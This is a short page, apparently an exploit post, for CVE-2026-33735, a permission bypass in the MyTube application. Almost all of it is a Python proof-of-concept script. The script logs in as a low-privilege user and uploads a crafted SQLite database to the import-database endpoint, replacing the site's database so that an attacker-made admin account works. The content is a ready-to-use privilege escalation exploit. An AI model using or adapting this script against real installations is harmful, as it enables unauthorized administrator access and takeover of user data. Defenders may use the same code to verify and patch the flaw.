CVE-2026-33735 MyTube权限绕过漏洞

import requests # Target configuration target_url = "http://localhost:3000/api/settings/import-database" login_url = "http://localhost:3000/api/auth/login" # Attacker's low-privilege credentials payload = { "username": "attacker", "password": "attacker_password" } def exploit(): session = requests.Session() # Step 1: Authenticate with low-privilege account print("[*] Logging in as low-privilege user...") try: login_res = session.post(login_url, json=payload) if login_res.status_code != 200: print("[-] Login failed.") return except Exception as e: print(f"[-] Connection error: {e}") return # Step 2: Prepare the malicious SQLite database file # Note: 'malicious.db' should be a valid SQLite file containing # a modified 'users' table with a new admin account. files = { 'file': ('malicious.db', open('malicious.db', 'rb'), 'application/x-sqlite3') } # Step 3: Upload the database to the vulnerable endpoint print("[*] Uploading malicious database...") try: upload_res = session.post(target_url, files=files) if upload_res.status_code == 200: print("[+] Exploit successful! Database replaced.") print("[+] You can now log in with the new admin credentials.") else: print(f"[-] Exploit failed. Status: {upload_res.status_code}") print(upload_res.text) except Exception as e: print(f"[-] Upload error: {e}") if __name__ == "__main__": exploit()